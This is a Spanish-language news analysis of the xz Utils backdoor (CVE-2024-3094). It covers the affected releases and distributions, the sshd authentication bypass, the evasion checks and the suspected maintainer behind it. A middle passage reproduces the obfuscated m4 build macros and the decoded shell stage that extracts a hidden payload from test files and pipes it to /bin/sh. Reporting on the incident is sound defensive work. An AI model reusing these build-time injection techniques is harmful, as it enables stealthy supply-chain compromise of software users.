En el paquete XZ Utils, que incluye la biblioteca liblzma y herramientas para trabajar con datos comprimidos en formato '.xz', se ha identificado una puerta trasera (CVE-2024-3094) que permite interceptar y modificar datos procesados por aplicaciones asociadas a la biblioteca liblzma. El objetivo principal de la puerta trasera es el servidor OpenSSH, que está vinculado en algunas distribuciones a la biblioteca libsystemd, la cual, a su vez, utiliza liblzma. La vinculación de sshd con la biblioteca vulnerable permite a los atacantes acceder al servidor SSH sin autenticación.
La puerta trasera estaba presente en las versiones oficiales 5.6.0 y 5.6.1, lanzadas el 24 de febrero y el 9 de marzo, las cuales lograron incluirse en algunas distribuciones y repositorios, como Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide y 40-beta, openSUSE factory y tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, y Manjaro testing. A todos los usuarios de las versiones xz 5.6.0 y 5.6.1 se les recomienda retroceder urgentemente a la versión 5.4.6.
Entre los factores que mitigan el problema se puede destacar que la versión de liblzma con la puerta trasera no logró incluirse en las versiones estables de las grandes distribuciones, pero afectó a openSUSE Tumbleweed y Fedora 40-beta. Arch Linux y Gentoo utilizaron la versión vulnerable de zx, pero no están expuestos al ataque ya que no aplican al openssh el parche que permite el soporte de systemd-notify, lo cual lleva a la vinculación de sshd a liblzma. La puerta trasera afecta únicamente a sistemas x86_64 basados en el núcleo de Linux y la biblioteca C Glibc.
El código de activación de la puerta trasera fue ocultado en macros m4 del archivo build-to-host.m4, utilizado por la herramienta automake durante la compilación. Durante la construcción, a través de operaciones ofuscadas complicadas basadas en archivos comprimidos (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), se formó un archivo objeto con código malicioso, que fue incluido en la biblioteca liblzma y alteró la lógica de funcionamiento de algunas de sus funciones. Las macros m4 que activan la puerta trasera estaban incluidas en los archivos tar de las versiones, pero no estaban en el repositorio de Git. Sin embargo, los archivos de prueba maliciosos estaban presentes en el repositorio, es decir, el que introdujo la puerta trasera tenía acceso tanto al repositorio como a los procesos de creación de las versiones.
Al usar liblzma en aplicaciones, se podían realizar modificaciones maliciosas para interceptar o modificar datos, así como afectar el funcionamiento de sshd. En concreto, el código malicioso reemplazaba la función RSA_public_decrypt para eludir el proceso de autenticación en sshd. El backdoor incluía protección contra la detección y no se manifestaba cuando las variables de entorno LANG y TERM estaban establecidas (es decir, al iniciar el proceso en un terminal) y no estaban establecidas las variables de entorno LD_DEBUG y LD_PROFILE, además se activaba solo al ejecutar el archivo ejecutable /usr/sbin/sshd. El backdoor también contaba con medios para detectar su ejecución en entornos de depuración.
En particular, en el archivo m4/build-to-host.m4 se utilizaban construcciones gl_am_configmake=`grep -aErls «#{4}[[:alnum:]]{5}#{4}$» $srcdir/ 2>/dev/null` … gl_[$1]_config=’sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null’
En la primera construcción, la operación grep encontraba el archivo tests/files/bad-3-corrupt_lzma2.xz, al descomprimir el cual se generaba el script: ####Hello#### #345U211267$^D330^W [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config.status` srcdir=»../../$srcdir» fi export i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)»;(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr «\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113» «\0-\377»)|xz -F raw —lzma1 -dc|/bin/sh ####World####
No está claro cómo los atacantes lograron acceder a la infraestructura del proyecto xz. Tampoco está claro cuántos usuarios y proyectos se vieron comprometidos como resultado de la acción del backdoor. Se presume que el autor del backdoor (JiaT75 — Jia Tan), quien colocó en el repositorio archivos con código malicioso, se intercambió mensajes con los desarrolladores de Fedora y envió solicitudes de incorporación a Debian, relacionadas con la transición de las distribuciones a la rama xz 5.6.0, y no levantó sospechas, ya que participó en el desarrollo de xz durante los últimos dos años y es el segundo desarrollador en cuanto al número de modificaciones realizadas. Además del proyecto xz, se presume que el autor del backdoor también participó en el desarrollo de los paquetes xz-java y xz-embedded. Además, Jia Tan fue incluido hace unos días entre los mantenedores del proyecto XZ Embedded, utilizado en el núcleo de Linux.
Se detectó un cambio malicioso después de analizar el consumo excesivo de CPU y los errores reportados por valgrind al conectarse a sistemas basados en Debian sid a través de ssh. Es notable que en el lanzamiento de xz 5.6.1 se incluyeron cambios preparados por el presunto autor del backdoor en respuesta a quejas sobre la ralentización y fallos de sshd, que ocurrieron después de la actualización a la versión zx 5.6.0 con el backdoor. Además, el año pasado, Jia Tan realizó cambios que no eran compatibles con el modo de verificación '-fsanitize=address', lo que llevó a su desactivación durante las pruebas de fuzzing.
Fuente: opennet.ru
